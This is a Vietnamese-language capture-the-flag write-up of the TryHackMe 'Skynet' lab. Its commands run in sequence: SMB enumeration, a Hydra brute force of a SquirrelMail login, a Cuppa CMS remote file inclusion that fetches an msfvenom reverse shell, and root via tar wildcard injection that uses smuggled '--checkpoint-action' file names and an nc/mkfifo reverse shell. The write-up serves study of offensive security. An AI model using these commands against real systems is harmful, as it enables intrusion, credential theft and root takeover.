Recon
Chạy Nmap để thăm dò như sau:
sudo nmap -sS --top-ports 1000 -Pn -n -T4 -oN nmap_skynet.txt 10.10.175.55
Tìm được các port sau:
22/tcp open ssh
80/tcp open http
110/tcp open pop3
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
Port 80 không có gì để khai thác.
Dùng Feroxbuster với cú pháp sau:
feroxbuster -u http://10.10.175.55
Thăm dò được một thư mục đáng ngờ là /squirrelmail
.
Samba
Đề bài gợi ý về Samba, sử dụng Nmap để thăm dò về dịch vụ này tương tự như trong Kenobi:
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.175.55
Tuy nhiên, output của Nmap có hơi dài dòng, ta dùng tool smbmap
để enumerate các tài nguyên chia sẻ như sau:
smbmap -H 10.10.175.55
Output thu được là:
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
anonymous READ ONLY Skynet Anonymous Share
milesdyson NO ACCESS Miles Dyson Personal Share
IPC$ NO ACCESS IPC Service (skynet server (Samba, Ubuntu))
Kết nối đến share anonymous
như sau (sử dụng mật khẩu rỗng):
smbclient //10.10.175.55/anonymous
Thấy có một vài tập tin và thư mục, tải chúng về như sau:
smbget -R smb://10.10.175.55/anonymous
Thấy có vẻ file logs1.txt
là danh sách các password. Thử chạy Hydra với username là milesdyson
(là tên của một trong số những tài nguyên chia sẻ tìm được) cho hai giao thức IMAP và POP3 nhưng không thành công:
hydra -l milesdyson -P logs1.txt 10.10.175.55 pop3
hydra -l milesdyson -P logs1.txt 10.10.175.55 imap
Thử truy cập vào /squirrelmail
và ta có được trang đăng nhập của email. Capture request đăng nhập để lấy request body. Sau đó chạy lệnh Hydra sau để brute force mật khẩu với username là milesdyson
:
hydra -l milesdyson -P logs1.txt 10.10.175.55 http-post-form "/squirrelmail/src/login.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:ERROR"
Tìm được danh sách nhiều password, thử cái đầu tiên và thành công:
cyborg007haloterminator
Đọc mail reset password của Samba và ta biết được password Samba của user milesdyson
là:
)s{A&2Z=F^n_E.B`
Tải các tập tin chia sẻ của user milesdyson
về thông qua câu lệnh sau:
smbget -R smb://10.10.175.55/milesdyson -U milesdyson
Thấy được file important.txt
có chứa thông tin về một CMS ở đường dẫn sau:
/45kra24zxs28v3yd
Cuppa CMS
Truy cập vào và ta có được một landing page. Tiếp tục dùng Feroxbuster để tìm ra các thư mục ẩn:
feroxbuster -u http://10.10.175.55/45kra24zxs28v3yd -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Tìm được thư mục administrator
. Truy cập vào và thấy được login page của Cuppa CMS. Tìm thấy được một exploit sử dụng kiểu tấn công Remote File Inclusion để tạo reverse shell.
Tạo ra một reverse shell bằng PHP như sau:
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.13.30.179 LPORT=8888 -f raw > rev_shell.php
Sau đó setup một Metasploit Multi-Handler module như sau:
set lhost tun0
set lport 8888
set payload php/meterpreter_reverse_tcp
Chạy một Web server bằng Python ở port 9999 để host reverse shell.
Gửi request đến trang Cuppa CMS như sau:
curl http://10.10.175.55/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.13.30.179:9999/rev_shell.php
Lý do ta có thể khai thác là vì trong code của file alertConfigField.php
có dòng code sau:
<?php include($_REQUEST["urlConfig"]); ?>
Đợi một chút và ta nhận được meterpreter shell.
Truy cập vào /home/milesdyson/user.txt
và ta có flag:
Success
7ce5c2109a40f958099283600a9ae807
Privilege Escalation
Ta dùng kỹ thuật của Linux Privilege Escalation - Cron Jobs để leo thang đặc quyền. Trước tiên kiểm tra các CRON job đang chạy:
cat /etc/crontab
Output là:
*/1 * * * * root /home/milesdyson/backups/backup.sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
Kiểm tra quyền trên /home/milesdyson/backups/backup.sh
thì thấy:
-rwxr-xr-x 1 root root 74 Sep 17 2019 /home/milesdyson/backups/backup.sh
Tuy nhiên, ta không thể dùng các editor để chỉnh sửa file backup.sh
. Thử xem nội dung của file này:
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *
Có thể thấy, file này có nhiệm vụ: nén toàn bộ các file trong thư mục /var/www/html
thành file backup.tgz
. Với các option:
c
: tạo mới một file nén.f
: chỉ định filename phía sau option.
Để khai thác, ta cần tạo ra ba file sau ở trong thư mục /var/www/html
:
shell.sh
--checkpoint=1
--checkpoint-action=exec=sh shell.sh
Tạo file shell.sh
bằng lệnh sau:
echo "mkfifo /tmp/f; nc 10.13.30.179 7777 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f" > shell.sh
Nhiệm vụ của shell.sh
là gửi reverse shell có quyền root đến attacking machine của chúng ta (lưu ý là cần chạy một Netcat server ở port 7777).
Cũng có thể dùng lệnh sau:
echo "#!/bin/bash\nchmod +s /bin/bash" > shell.sh
Lệnh này giúp thêm bit SUID vào chương trình /bin/bash
1 giúp cho nó có thể chạy dưới quyền của chủ sở hữu (root).
Tiếp theo tạo hai file còn lại như sau:
touch "/var/www/html/--checkpoint=1"
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
Chương trình tar
khi chạy sẽ tưởng hai file vừa tạo là các option chứ không phải là file. Khi đó, option thứ hai sẽ giúp thực thi file shell.sh
.
Chờ một chút và ta có thể nhận được reverse shell (hoặc root shell).
Truy cập vào /root/root.txt
và thu được flag:
Success
3f0372db24753accc7179a282cd6a949
Resources
- TryHackMe - Skynet
- TryHackMe - Skynet Writeup
- Exploiting wildcards on Linux
- TryHackMe! Skynet - Wildcard Injection
Footnotes
-
Xem thêm Linux Privilege Escalation - SUID. ↩